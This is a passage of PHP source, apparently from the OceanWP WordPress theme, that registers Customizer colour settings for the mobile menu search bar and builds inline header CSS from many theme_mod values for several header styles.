'ocean_mobile_menu_sidr_search_color', array( 'transport' => 'postMessage', 'default' => '#333333', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_mobile_menu_sidr_search_color', array( 'label' => esc_html__( 'Searchbar Color', 'oceanwp' ), 'section' => 'ocean_header_mobile_menu', 'settings' => 'ocean_mobile_menu_sidr_search_color', 'priority' => 10, ) ) ); /** * Mobile Menu Searchbar Border Color */ $wp_customize->add_setting( 'ocean_mobile_menu_sidr_search_border_color', array( 'transport' => 'postMessage', 'default' => '#dddddd', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_mobile_menu_sidr_search_border_color', array( 'label' => esc_html__( 'Searchbar Border Color', 'oceanwp' ), 'section' => 'ocean_header_mobile_menu', 'settings' => 'ocean_mobile_menu_sidr_search_border_color', 'priority' => 10, ) ) ); /** * Full Screen Mobile Menu Searchbar Hover Border Color */ $wp_customize->add_setting( 'ocean_full_screen_mobile_menu_search_border_color_hover', array( 'transport' => 'postMessage', 'default' => '#ffffff', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_full_screen_mobile_menu_search_border_color_hover', array( 'label' => esc_html__( 'Searchbar Border Color: Hover', 'oceanwp' ), 'section' => 'ocean_header_mobile_menu', 'settings' => 'ocean_full_screen_mobile_menu_search_border_color_hover', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_fullscreen_mobile_menu', ) ) ); /** * Mobile Menu Searchbar Focus Border Color */ $wp_customize->add_setting( 'ocean_mobile_menu_sidr_search_border_color_focus', array( 'transport' => 'postMessage', 'default' => '#bbbbbb', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_mobile_menu_sidr_search_border_color_focus', array( 'label' => esc_html__( 'Searchbar Border Color: Focus', 'oceanwp' ), 'section' => 'ocean_header_mobile_menu', 'settings' => 'ocean_mobile_menu_sidr_search_border_color_focus', 'priority' => 10, ) ) ); /** * Mobile Menu Searchbar Button Color */ $wp_customize->add_setting( 'ocean_mobile_menu_sidr_search_button_color', array( 'transport' => 'postMessage', 'default' => '#555555', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_mobile_menu_sidr_search_button_color', array( 'label' => esc_html__( 'Searchbar Button Color', 'oceanwp' ), 'section' => 'ocean_header_mobile_menu', 'settings' => 'ocean_mobile_menu_sidr_search_button_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_hasnt_fullscreen_mobile_menu', ) ) ); /** * Mobile Menu Searchbar Hover Button Color */ $wp_customize->add_setting( 'ocean_mobile_menu_sidr_search_button_hover_color', array( 'transport' => 'postMessage', 'default' => '#222222', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_mobile_menu_sidr_search_button_hover_color', array( 'label' => esc_html__( 'Searchbar Button Color: Hover', 'oceanwp' ), 'section' => 'ocean_header_mobile_menu', 'settings' => 'ocean_mobile_menu_sidr_search_button_hover_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_hasnt_fullscreen_mobile_menu', ) ) ); } /** * Get WP menus * * @since 1.3.7 */ private static function get_wp_menus() { $menus = array( esc_html__( 'Select Your Menu', 'oceanwp' ) ); $get_menus = get_terms( 'nav_menu', array( 'hide_empty' => true ) ); foreach ( $get_menus as $menu) { $menus[$menu->term_id] = $menu->name; } return $menus; } /** * Get CSS * * @since 1.0.0 */ public static function head_css( $output ) { // Get header & mobile styles $header_style = oceanwp_header_style(); $mobile_style = oceanwp_mobile_menu_style(); // Global vars $header_height = get_theme_mod( 'ocean_header_height', '74' ); $mobile_header_height = get_theme_mod( 'ocean_mobile_header_height' ); $top_height = get_theme_mod( 'ocean_top_header_height', '40' ); $header_background = get_theme_mod( 'ocean_header_background', '#ffffff' ); $header_border_bottom = get_theme_mod( 'ocean_header_border_bottom', '#f1f1f1' ); $header_top_padding = get_theme_mod( 'ocean_header_top_padding', '0' ); $header_right_padding = get_theme_mod( 'ocean_header_right_padding', '0' ); $header_bottom_padding = get_theme_mod( 'ocean_header_bottom_padding', '0' ); $header_left_padding = get_theme_mod( 'ocean_header_left_padding', '0' ); $tablet_header_top_padding = get_theme_mod( 'ocean_header_tablet_top_padding' ); $tablet_header_right_padding = get_theme_mod( 'ocean_header_tablet_right_padding' ); $tablet_header_bottom_padding = get_theme_mod( 'ocean_header_tablet_bottom_padding' ); $tablet_header_left_padding = get_theme_mod( 'ocean_header_tablet_left_padding' ); $mobile_header_top_padding = get_theme_mod( 'ocean_header_mobile_top_padding' ); $mobile_header_right_padding = get_theme_mod( 'ocean_header_mobile_right_padding' ); $mobile_header_bottom_padding = get_theme_mod( 'ocean_header_mobile_bottom_padding' ); $mobile_header_left_padding = get_theme_mod( 'ocean_header_mobile_left_padding' ); $ransparent_header_bg = get_theme_mod( 'ocean_transparent_header_bg' ); $top_header_menu_background = get_theme_mod( 'ocean_top_header_menu_background', '#ffffff' ); $top_header_search_button_border_color = get_theme_mod( 'ocean_top_header_search_button_border_color', '#f1f1f1' ); $top_header_search_button_color = get_theme_mod( 'ocean_top_header_search_button_color', '#333333' ); $top_header_search_button_hover_color = get_theme_mod( 'ocean_top_header_search_button_hover_color', '#13aff0' ); $full_screen_header_menu_hamburger_icon_width = get_theme_mod( 'ocean_full_screen_header_hamburger_icon_width', '23' ); $full_screen_header_menu_hamburger_icon_height = get_theme_mod( 'ocean_full_screen_header_hamburger_icon_height', '2' ); $full_screen_header_menu_hamburger_icon_gap = get_theme_mod( 'ocean_full_screen_header_hamburger_icon_gap', '8' ); $full_screen_header_menu_bar_color = get_theme_mod( 'ocean_full_screen_header_menu_bar_color', '#333333' ); $full_screen_header_menu_bar_close_color = get_theme_mod( 'ocean_full_screen_header_menu_bar_close_color', '#ffffff' ); $full_screen_header_bg = get_theme_mod( 'ocean_full_screen_header_bg', 'rgba(0,0,0,0.9)' ); $full_screen_header_links_bg_color = get_theme_mod( 'ocean_full_screen_header_links_bg_color' ); $full_screen_header_links_hover_bg_color = get_theme_mod( 'ocean_full_screen_header_links_hover_bg_color' ); $full_screen_header_links_color = get_theme_mod( 'ocean_full_screen_header_links_color', '#ffffff' ); $full_screen_header_links_hover_color = get_theme_mod( 'ocean_full_screen_header_links_hover_color', '#929292' ); $full_screen_header_search_color = get_theme_mod( 'ocean_full_screen_header_search_color', '#ffffff' ); $full_screen_header_search_dashed_bg = get_theme_mod( 'ocean_full_screen_header_search_dashed_bg', '#ffffff' ); $full_screen_header_search_border_color = get_theme_mod( 'ocean_full_screen_header_search_border_color', '#666666' ); $full_screen_header_search_hover_border_color = get_theme_mod( 'ocean_full_screen_header_search_hover_border_color', '#ffffff' ); $full_screen_header_search_focus_border_color = get_theme_mod( 'ocean_full_screen_header_search_focus_border_color', '#ffffff' ); $medium_header_top_header_top_padding = get_theme_mod( 'ocean_medium_header_top_header_top_padding', '30' ); $medium_header_top_header_bottom_padding = get_theme_mod( 'ocean_medium_header_top_header_bottom_padding', '30' ); $medium_header_top_header_tablet_top_padding = get_theme_mod( 'ocean_medium_header_top_header_tablet_top_padding' ); $medium_header_top_header_tablet_bottom_padding = get_theme_mod( 'ocean_medium_header_top_header_tablet_bottom_padding' ); $medium_header_top_header_mobile_top_padding = get_theme_mod( 'ocean_medium_header_top_header_mobile_top_padding' ); $medium_header_top_header_mobile_bottom_padding = get_theme_mod( 'ocean_medium_header_top_header_mobile_bottom_padding' ); $medium_header_sticky_top_header_top_padding = get_theme_mod( 'ocean_medium_header_sticky_top_header_top_padding', '20' ); $medium_header_sticky_top_header_bottom_padding = get_theme_mod( 'ocean_medium_header_sticky_top_header_bottom_padding', '20' ); $medium_header_sticky_top_header_tablet_top_padding = get_theme_mod( 'ocean_medium_header_sticky_top_header_tablet_top_padding' ); $medium_header_sticky_top_header_tablet_bottom_padding = get_theme_mod( 'ocean_medium_header_sticky_top_header_tablet_bottom_padding' ); $medium_header_sticky_top_header_mobile_top_padding = get_theme_mod( 'ocean_medium_header_sticky_top_header_mobile_top_padding' ); $medium_header_sticky_top_header_mobile_bottom_padding = get_theme_mod( 'ocean_medium_header_sticky_top_header_mobile_bottom_padding' ); $medium_header_menu_height = get_theme_mod( 'ocean_medium_header_menu_height', '60' ); $medium_header_menu_position = get_theme_mod( 'ocean_medium_header_menu_position', 'center-menu' ); $medium_header_menu_items_right_padding = get_theme_mod( 'ocean_medium_header_menu_items_right_padding', '22' ); $medium_header_menu_items_left_padding = get_theme_mod( 'ocean_medium_header_menu_items_left_padding', '22' ); $medium_header_menu_items_tablet_right_padding = get_theme_mod( 'ocean_medium_header_menu_items_tablet_right_padding' ); $medium_header_menu_items_tablet_left_padding = get_theme_mod( 'ocean_medium_header_menu_items_tablet_left_padding' ); $medium_header_menu_items_mobile_right_padding = get_theme_mod( 'ocean_medium_header_menu_items_mobile_right_padding' ); $medium_header_menu_items_mobile_left_padding = get_theme_mod( 'ocean_medium_header_menu_items_mobile_left_padding' ); $medium_header_top_header_bg = get_theme_mod( 'ocean_medium_header_top_header_bg', '#ffffff' ); $medium_header_menu_bg = get_theme_mod( 'ocean_medium_header_menu_bg', '#f9f9f9' ); $medium_header_search_bg = get_theme_mod( 'ocean_medium_header_search_bg', '#f5f5f5' ); $medium_header_search_color = get_theme_mod( 'ocean_medium_header_search_color', '#333333' ); $medium_header_search_placeholder_color = get_theme_mod( 'ocean_medium_header_search_placeholder_color', '#333333' ); $medium_header_search_button_color = get_theme_mod( 'ocean_medium_header_search_button_color', '#333333' ); $medium_header_search_button_hover_color = get_theme_mod( 'ocean_medium_header_search_button_hover_color', '#13aff0' ); $vertical_header_collapse_width = get_theme_mod( 'ocean_vertical_header_collapse_width', '1280' ); $vertical_header_width = get_theme_mod( 'ocean_vertical_header_width', '300' ); $vertical_header_inner_top_padding = get_theme_mod( 'ocean_vertical_header_inner_top_padding', '30' ); $vertical_header_inner_right_padding = get_theme_mod( 'ocean_vertical_header_inner_right_padding', '30' ); $vertical_header_inner_bottom_padding = get_theme_mod( 'ocean_vertical_header_inner_bottom_padding', '30' ); $vertical_header_inner_left_padding = get_theme_mod( 'ocean_vertical_header_inner_left_padding', '30' ); $tablet_vertical_header_inner_top_padding = get_theme_mod( 'ocean_vertical_header_inner_tablet_top_padding' ); $tablet_vertical_header_inner_right_padding = get_theme_mod( 'ocean_vertical_header_inner_tablet_right_padding' ); $tablet_vertical_header_inner_bottom_padding = get_theme_mod( 'ocean_vertical_header_inner_tablet_bottom_padding' ); $tablet_vertical_header_inner_left_padding = get_theme_mod( 'ocean_vertical_header_inner_tablet_left_padding' ); $mobile_vertical_header_inner_top_padding = get_theme_mod( 'ocean_vertical_header_inner_mobile_top_padding' ); $mobile_vertical_header_inner_right_padding = get_theme_mod( 'ocean_vertical_header_inner_mobile_right_padding' ); $mobile_vertical_header_inner_bottom_padding = get_theme_mod( 'ocean_vertical_header_inner_mobile_bottom_padding' ); $mobile_vertical_header_inner_left_padding = get_theme_mod( 'ocean_vertical_header_inner_mobile_left_padding' ); $vertical_header_menu_items_padding = get_theme_mod( 'ocean_vertical_header_menu_items_padding', '17' ); $vertical_header_menu_items_border_color = get_theme_mod( 'ocean_vertical_header_menu_items_border_color', 'rgba(0,0,0,0.05)' ); $vertical_header_sub_menu_bg = get_theme_mod( 'ocean_vertical_header_sub_menu_bg', 'rgba(0,0,0,0.03)' ); $vertical_header_sub_menu_sub_menu_links_color = get_theme_mod( 'ocean_vertical_header_sub_menu_links_color', '#333333' ); $vertical_header_sub_menu_links_hover_color = get_theme_mod( 'ocean_vertical_header_sub_menu_links_hover_color', '#555555' ); $vertical_header_sub_menu_links_bg = get_theme_mod( 'ocean_vertical_header_sub_menu_links_bg' ); $vertical_header_sub_menu_links_hover_bg = get_theme_mod( 'ocean_vertical_header_sub_menu_links_hover_bg', '#f8f8f8' ); $vertical_header_search_border_width = get_theme_mod( 'ocean_vertical_header_search_border_width' ); $vertical_header_search_border_radius = get_theme_mod( 'ocean_vertical_header_search_border_radius' ); $vertical_header_search_bg = get_theme_mod( 'ocean_vertical_header_search_bg', 'rgba(0,0,0,0.03)' ); $vertical_header_search_color = get_theme_mod( 'ocean_vertical_header_search_color', '#333333' ); $vertical_header_search_btn_color = get_theme_mod( 'ocean_vertical_header_search_btn_color', '#777777' ); $vertical_header_search_border_color = get_theme_mod( 'ocean_vertical_header_search_border_color', 'rgba(0,0,0,0.04)' ); $vertical_header_search_hover_border_color = get_theme_mod( 'ocean_vertical_header_search_hover_border_color' ); $vertical_header_search_focus_border_color = get_theme_mod( 'ocean_vertical_header_search_focus_border_color' ); $vertical_header_search_btn_hover_color = get_theme_mod( 'ocean_vertical_header_search_btn_hover_color', '#333333' ); $vertical_header_hamburger_color = get_theme_mod( 'ocean_vertical_header_hamburger_color', '#000000' ); $header_image_overlay_color = get_theme_mod( 'ocean_header_image_overlay_color', 'rgba(0,0,0,0.5)' ); $logo_max_width = get_theme_mod( 'ocean_logo_max_width' ); $logo_max_width_tablet = get_theme_mod( 'ocean_logo_max_width_tablet' ); $logo_max_width_mobile = get_theme_mod( 'ocean_logo_max_width_mobile' ); $logo_max_height = get_theme_mod( 'ocean_logo_max_height' ); $logo_max_height_tablet = get_theme_mod( 'ocean_logo_max_height_tablet' ); $logo_max_height_mobile = get_theme_mod( 'ocean_logo_max_height_mobile' ); $logo_color = get_theme_mod( 'ocean_logo_color', '#333333' ); $logo_hover_color = get_theme_mod( 'ocean_logo_hover_color', '#13aff0' ); $responsive_logo_height = get_theme_mod( 'ocean_responsive_logo_height' ); $search_dropdown_input_bg = get_theme_mod( 'ocean_search_dropdown_input_background' ); $search_dropdown_input_color = get_theme_mod( 'ocean_search_dropdown_input_color', '#333333' ); $search_dropdown_input_border = get_theme_mod( 'ocean_search_dropdown_input_border', '#dddddd' ); $search_dropdown_input_border_focus = get_theme_mod( 'ocean_search_dropdown_input_border_focus', '#bbbbbb' ); $search_overlay_bg = get_theme_mod( 'ocean_search_overlay_bg', 'rgba(0,0,0,0.9)' ); $search_overlay_input_color = get_theme_mod( 'ocean_search_overlay_input_color', '#ffffff' ); $search_overlay_placeholder_color = get_theme_mod( 'ocean_search_overlay_placeholder_color', '#ffffff' ); $search_overlay_input_dashed_bg = get_theme_mod( 'ocean_search_overlay_input_dashed_bg', '#ffffff' ); $search_overlay_input_border = get_theme_mod( 'ocean_search_overlay_input_border_color', '#444444' ); $search_overlay_input_border_hover = get_theme_mod( 'ocean_search_overlay_input_hover_border_color', '#777777' ); $search_overlay_input_border_focus = get_theme_mod( 'ocean_search_overlay_input_focus_border_color', '#ffffff' ); $search_overlay_close_button_color = get_theme_mod( 'ocean_search_overlay_close_button_color', '#ffffff' ); $links_effect_blue_color = get_theme_mod( 'ocean_menu_links_effect_blue_color', '#13aff0' ); $links_effect_dark_color = get_theme_mod( 'ocean_menu_links_effect_dark_color', 'rgba(0,0,0,0.1)' ); $menu_items_padding = get_theme_mod( 'ocean_menu_items_padding', '15' ); $menu_link_color = get_theme_mod( 'ocean_menu_link_color', '#555555' ); $menu_link_color_hover = get_theme_mod( 'ocean_menu_link_color_hover', '#13aff0' ); $menu_link_color_active = get_theme_mod( 'ocean_menu_link_color_active', '#555555' ); $menu_link_background = get_theme_mod( 'ocean_menu_link_background' ); $menu_link_hover_background = get_theme_mod( 'ocean_menu_link_hover_background' ); $menu_link_active_background = get_theme_mod( 'ocean_menu_link_active_background' ); $dropdown_width = get_theme_mod( 'ocean_dropdown_width', '180' ); $dropdown_menu_background = get_theme_mod( 'ocean_dropdown_menu_background', '#ffffff' ); $dropdown_menu_top_border = get_theme_mod( 'ocean_dropdown_menu_top_border', '#13aff0' ); $dropdown_menu_borders = get_theme_mod( 'ocean_dropdown_menu_borders', '#f1f1f1' ); $dropdown_menu_link_color = get_theme_mod( 'ocean_dropdown_menu_link_color', '#333333' ); $dropdown_menu_link_color_hover = get_theme_mod( 'ocean_dropdown_menu_link_color_hover', '#555555' ); $dropdown_menu_link_hover_bg = get_theme_mod( 'ocean_dropdown_menu_link_hover_bg', '#f8f8f8' ); $dropdown_menu_link_color_active = get_theme_mod( 'ocean_dropdown_menu_link_color_active' ); $dropdown_menu_link_bg_active = get_theme_mod( 'ocean_dropdown_menu_link_bg_active' ); $dropdown_category_title_bg = get_theme_mod( 'ocean_dropdown_category_title_bg', '#f8f8f8' ); $dropdown_category_title_color = get_theme_mod( 'ocean_dropdown_category_title_color', '#222222' ); $dropdown_category_links_color = get_theme_mod( 'ocean_dropdown_category_links_color', '#555555' ); $dropdown_category_links_hover_color = get_theme_mod( 'ocean_dropdown_category_links_hover_color', '#333333' ); $dropdown_category_date_color = get_theme_mod( 'ocean_dropdown_category_date_color', '#bbbbbb' ); $menu_social_font_size = get_theme_mod( 'ocean_menu_social_font_size' ); $menu_social_tablet_font_size = get_theme_mod( 'ocean_menu_social_tablet_font_size' ); $menu_social_mobile_font_size = get_theme_mod( 'ocean_menu_social_mobile_font_size' ); $menu_social_top_padding = get_theme_mod( 'ocean_menu_social_top_padding' ); $menu_social_right_padding = get_theme_mod( 'ocean_menu_social_right_padding' ); $menu_social_bottom_padding = get_theme_mod( 'ocean_menu_social_bottom_padding' ); $menu_social_left_padding = get_theme_mod( 'ocean_menu_social_left_padding' ); $menu_social_tablet_top_padding = get_theme_mod( 'ocean_menu_social_tablet_top_padding' ); $menu_social_tablet_right_padding = get_theme_mod( 'ocean_menu_social_tablet_right_padding' ); $menu_social_tablet_bottom_padding = get_theme_mod( 'ocean_menu_social_tablet_bottom_padding' ); $menu_social_tablet_left_padding = get_theme_mod( 'ocean_menu_social_tablet_left_padding' ); $menu_social_mobile_top_padding = get_theme_mod( 'ocean_menu_social_mobile_top_padding' ); $menu_social_mobile_right_padding = get_theme_mod( 'ocean_menu_social_mobile_right_padding' ); $menu_social_mobile_bottom_padding = get_theme_mod( 'ocean_menu_social_mobile_bottom_padding' ); $menu_social_mobile_left_padding = get_theme_mod( 'ocean_menu_social_mobile_left_padding' ); $menu_social_right_margin = get_theme_mod( 'ocean_menu_social_right_margin' ); $menu_social_left_margin = get_theme_mod( 'ocean_menu_social_left_margin' ); $menu_social_tablet_right_margin = get_theme_mod( 'ocean_menu_social_tablet_right_margin' ); $menu_social_tablet_left_margin = get_theme_mod( 'ocean_menu_social_tablet_left_margin' ); $menu_social_mobile_right_margin = get_theme_mod( 'ocean_menu_social_mobile_right_margin' ); $menu_social_mobile_left_margin = get_theme_mod( 'ocean_menu_social_mobile_left_margin' ); $menu_social_border_radius = get_theme_mod( 'ocean_menu_social_border_radius' ); $menu_social_links_bg = get_theme_mod( 'ocean_menu_social_links_bg' ); $menu_social_hover_links_bg = get_theme_mod( 'ocean_menu_social_hover_links_bg' ); $menu_social_links_color = get_theme_mod( 'ocean_menu_social_links_color' ); $menu_social_hover_links_color = get_theme_mod( 'ocean_menu_social_hover_links_color' ); $mobile_menu_breakpoint = get_theme_mod( 'ocean_mobile_menu_breakpoints', '959' ); $mobile_menu_custom_breakpoint = get_theme_mod( 'ocean_mobile_menu_custom_breakpoint' ); $mobile_menu_open_hamburger_color = get_theme_mod( 'ocean_mobile_menu_open_hamburger_color', '#000000' ); $dropdown_mobile_menu_max_height = get_theme_mod( 'ocean_dropdown_mobile_menu_max_height', '400' ); $mobile_menu_sidr_close_button_bg = get_theme_mod( 'ocean_mobile_menu_sidr_close_button_background', '#f8f8f8' ); $mobile_menu_sidr_background = get_theme_mod( 'ocean_mobile_menu_sidr_background', '#ffffff' ); $full_screen_mobile_menu_bg = get_theme_mod( 'ocean_full_screen_mobile_menu_bg', 'rgba(0,0,0,0.9)' ); $mobile_menu_sidr_borders = get_theme_mod( 'ocean_mobile_menu_sidr_borders', 'rgba(0,0,0,0.035)' ); $mobile_menu_links = get_theme_mod( 'ocean_mobile_menu_links', '#555555' ); $mobile_menu_links_hover = get_theme_mod( 'ocean_mobile_menu_links_hover', '#13aff0' ); $full_screen_mobile_menu_links_bg = get_theme_mod( 'ocean_full_screen_mobile_menu_links_bg' ); $full_screen_mobile_menu_links_hover_bg = get_theme_mod( 'ocean_full_screen_mobile_menu_links_hover_bg' ); $mobile_menu_sidr_dropdowns_bg = get_theme_mod( 'ocean_mobile_menu_sidr_dropdowns_background', 'rgba(0,0,0,0.02)' ); $mobile_menu_sidr_search_bg = get_theme_mod( 'ocean_mobile_menu_sidr_search_bg' ); $mobile_menu_sidr_search_color = get_theme_mod( 'ocean_mobile_menu_sidr_search_color', '#333333' ); $mobile_menu_sidr_search_border_color = get_theme_mod( 'ocean_mobile_menu_sidr_search_border_color', '#dddddd' ); $full_screen_mobile_menu_search_border_color_hover = get_theme_mod( 'ocean_full_screen_mobile_menu_search_border_color_hover', '#ffffff' ); $mobile_menu_sidr_search_border_color_focus = get_theme_mod( 'ocean_mobile_menu_sidr_search_border_color_focus', '#bbbbbb' ); $mobile_menu_sidr_search_button_color = get_theme_mod( 'ocean_mobile_menu_sidr_search_button_color', '#555555' ); $mobile_menu_sidr_search_button_hover_color = get_theme_mod( 'ocean_mobile_menu_sidr_search_button_hover_color', '#222222' ); // Filters to altering settings via the metabox $logo_max_width = apply_filters( 'ocean_logo_max_width', $logo_max_width ); $logo_max_width_tablet = apply_filters( 'ocean_logo_max_width_tablet', $logo_max_width_tablet ); $logo_max_width_mobile = apply_filters( 'ocean_logo_max_width_mobile', $logo_max_width_mobile ); $logo_max_height = apply_filters( 'ocean_logo_max_height', $logo_max_height ); $logo_max_height_tablet = apply_filters( 'ocean_logo_max_height_tablet', $logo_max_height_tablet ); $logo_max_height_mobile = apply_filters( 'ocean_logo_max_height_mobile', $logo_max_height_mobile ); $menu_link_color = apply_filters( 'ocean_menu_link_color', $menu_link_color ); $menu_link_color_hover = apply_filters( 'ocean_menu_link_color_hover', $menu_link_color_hover ); $menu_link_color_active = apply_filters( 'ocean_menu_link_color_active', $menu_link_color_active ); $menu_link_background = apply_filters( 'ocean_menu_link_background', $menu_link_background ); $menu_link_hover_background = apply_filters( 'ocean_menu_link_hover_background', $menu_link_hover_background ); $menu_link_active_background = apply_filters( 'ocean_menu_link_active_background', $menu_link_active_background ); $menu_social_links_bg = apply_filters( 'ocean_menu_social_links_bg', $menu_social_links_bg ); $menu_social_hover_links_bg = apply_filters( 'ocean_menu_social_hover_links_bg', $menu_social_hover_links_bg ); $menu_social_links_color = apply_filters( 'ocean_menu_social_links_color', $menu_social_links_color ); $menu_social_hover_links_color = apply_filters( 'ocean_menu_social_hover_links_color', $menu_social_hover_links_color ); // Define css var $css = ''; // Add header height if ( ( 'top' != $header_style && 'medium' != $header_style ) && ! empty( $header_height ) && '74' != $header_height ) { if ( 'custom' != $header_style ) { $css .= '#site-logo #site-logo-inner,.oceanwp-social-menu .social-menu-inner,#site-header.full_screen-header .menu-bar-inner,.after-header-content .after-header-content-inner{height:'. $header_height .'px;}'; } $css .= '#site-navigation-wrap .dropdown-menu > li > a,.oceanwp-mobile-menu-icon a,.mobile-menu-close,.after-header-content-inner > a{line-height:'. $header_height .'px;}'; } // Add header height for top header style if ( 'top' == $header_style && ! empty( $top_height ) && '40' != $top_height ) { $css .= '#site-header.top-header .oceanwp-social-menu,#site-header.top-header #search-toggle{height:'. $top_height .'px;}'; $css .= '#site-header.top-header #site-navigation-wrap .dropdown-menu > li > a,#site-header.top-header .oceanwp-mobile-menu-icon a,.mobile-menu-close{line-height:'. $top_height .'px;}'; } // Add mobile header height if ( ( 'top' != $header_style && 'medium' != $header_style ) && ! empty( $mobile_header_height ) ) { if ( 'custom' != $header_style ) { $css .= '@media only screen and (max-width: 959px) {body.default-breakpoint #site-logo #site-logo-inner{height:'. $mobile_header_height .'px;}}'; } $css .= '@media only screen and (max-width: 959px) {body.default-breakpoint .oceanwp-mobile-menu-icon a,.mobile-menu-close{line-height:'. $mobile_header_height .'px;}}'; } // Header background color if ( 'medium' != $header_style && ! empty( $header_background ) && '#ffffff' != $header_background ) { $css .= '#site-header,.has-transparent-header .is-sticky #site-header,.has-vh-transparent .is-sticky #site-header.vertical-header,#searchform-header-replace{background-color:'. $header_background .';}'; } // Header border color if ( ! empty( $header_border_bottom ) && '#f1f1f1' != $header_border_bottom ) { $css .= '#site-header{border-color:'. $header_border_bottom .';}'; } if ( false === ( 'medium' === $header_style || 'vertical' === $header_style ) ) { // Header padding if ( isset( $header_top_padding ) && '0' != $header_top_padding && '' != $header_top_padding || isset( $header_right_padding ) && '0' != $header_right_padding && '' != $header_right_padding || isset( $header_bottom_padding ) && '0' != $header_bottom_padding && '' != $header_bottom_padding || isset( $header_left_padding ) && '0' != $header_left_padding && '' != $header_left_padding ) { $css .= '#site-header-inner{padding:'. oceanwp_spacing_css( $header_top_padding, $header_right_padding, $header_bottom_padding, $header_left_padding ) .'}'; } // Tablet header padding if ( isset( $tablet_header_top_padding ) && '' != $tablet_header_top_padding || isset( $tablet_header_right_padding ) && '' != $tablet_header_right_padding || isset( $tablet_header_bottom_padding ) && '' != $tablet_header_bottom_padding || isset( $tablet_header_left_padding ) && '' != $tablet_header_left_padding ) { $css .= '@media (max-width: 768px){#site-header-inner{padding:'. oceanwp_spacing_css( $tablet_header_top_padding, $tablet_header_right_padding, $tablet_header_bottom_padding, $tablet_header_left_padding ) .'}}'; } // Mobile header padding if ( isset( $mobile_header_top_padding ) && '' != $mobile_header_top_padding || isset( $mobile_header_right_padding ) && '' != $mobile_header_right_padding || isset( $mobile_header_bottom_padding ) && '' != $mobile_header_bottom_padding || isset( $mobile_header_left_padding ) && '' != $mobile_header_left_padding ) { $css .= '@media (max-width: 480px){#site-header-inner{padding:'. oceanwp_spacing_css( $mobile_header_top_padding, $mobile_header_right_padding, $mobile_header_bottom_padding, $mobile_header_left_padding ) .'}}'; } } // Transparent header background color if ( 'transparent' == $header_style && ! empty( $ransparent_header_bg ) ) { $css .= '#site-header.transparent-header{background-color:'. $ransparent_header_bg .';}'; } // Top menu header style if ( 'top' == $header_style ) { // Menu background color if ( ! empty( $top_header_menu_background ) && '#ffffff' != $top_header_menu_background ) { $css .= '#site-header.top-header .header-top,#site-header.top-header #searchform-header-replace{background-color:'. $top_header_menu_background .';}'; } // Search button border color if ( ! empty( $top_header_search_button_border_color ) && '#f1f1f1' != $top_header_search_button_border_color ) { $css .= '#site-header.top-header #search-toggle{border-color:'. $top_header_search_button_border_color .';}'; } // Search button color if ( ! empty( $top_header_search_button_color ) && '#333333' != $top_header_search_button_color ) { $css .= '#site-header.top-header #search-toggle a{color:'. $top_header_search_button_color .';}'; } // Search button hover color if ( ! empty( $top_header_search_button_hover_color ) && '#13aff0' != $top_header_search_button_hover_color ) { $css .= '#site-header.top-header #search-toggle a:hover{color:'. $top_header_search_button_hover_color .';}'; } } // Full Screen header style if ( 'full_screen' == $header_style ) { if ( ! empty( $full_screen_header_menu_hamburger_icon_width ) && '23' != $full_screen_header_menu_hamburger_icon_width ) { $css .= '#site-header.full_screen-header .menu-bar .ham,#site-header.full_screen-header .menu-bar .ham:before,#site-header.full_screen-header .menu-bar .ham:after{width:'. $full_screen_header_menu_hamburger_icon_width .'px;}'; } if ( ! empty( $full_screen_header_menu_hamburger_icon_height ) && '2' != $full_screen_header_menu_hamburger_icon_height ) { $css .= '#site-header.full_screen-header .menu-bar .ham,#site-header.full_screen-header .menu-bar .ham:before,#site-header.full_screen-header .menu-bar .ham:after{height:'. $full_screen_header_menu_hamburger_icon_height .'px;}'; } if ( ! empty( $full_screen_header_menu_hamburger_icon_gap ) && '8' != $full_screen_header_menu_hamburger_icon_gap ) { $css .= '#site-header.full_screen-header .menu-bar .ham:before{top: -'. $full_screen_header_menu_hamburger_icon_gap .'px;}'; $css .= '#site-header.full_screen-header .menu-bar .ham:after{top: '. $full_screen_header_menu_hamburger_icon_gap .'px;}'; $css .= '#site-header.full_screen-header .menu-bar.exit .ham:before{transform: translateY('. $full_screen_header_menu_hamburger_icon_gap .'px) rotateZ(-45deg);}'; $css .= '#site-header.full_screen-header .menu-bar.exit .ham:after{transform: translateY(-'. $full_screen_header_menu_hamburger_icon_gap .'px) rotateZ(45deg);}'; } // Menu bar color if ( ! empty( $full_screen_header_menu_bar_color ) && '#333333' != $full_screen_header_menu_bar_color ) { $css .= '#site-header.full_screen-header .menu-bar .ham,#site-header.full_screen-header .menu-bar .ham:before,#site-header.full_screen-header .menu-bar .ham:after{background-color:'. $full_screen_header_menu_bar_color .';}'; } // Menu bar close color if ( ! empty( $full_screen_header_menu_bar_close_color ) && '#ffffff' != $full_screen_header_menu_bar_close_color ) { $css .= '#site-header.full_screen-header .menu-bar.exit .ham:before,#site-header.full_screen-header .menu-bar.exit .ham:after{background-color:'. $full_screen_header_menu_bar_close_color .';}'; } // Background color if ( ! empty( $full_screen_header_bg ) && 'rgba(0,0,0,0.9)' != $full_screen_header_bg ) { $css .= '#site-header.full_screen-header #full-screen-menu{background-color:'. $full_screen_header_bg .';}'; } //Links background color if ( ! empty( $full_screen_header_links_bg_color ) ) { $css .= '#site-header.full_screen-header .fs-dropdown-menu li a{background-color:'. $full_screen_header_links_bg_color .';}'; } // Links hover background color if ( ! empty( $full_screen_header_links_hover_bg_color ) ) { $css .= '#site-header.full_screen-header .fs-dropdown-menu li a:hover{background-color:'. $full_screen_header_links_hover_bg_color .';}'; } // Links color if ( ! empty( $full_screen_header_links_color ) && '#ffffff' != $full_screen_header_links_color ) { $css .= 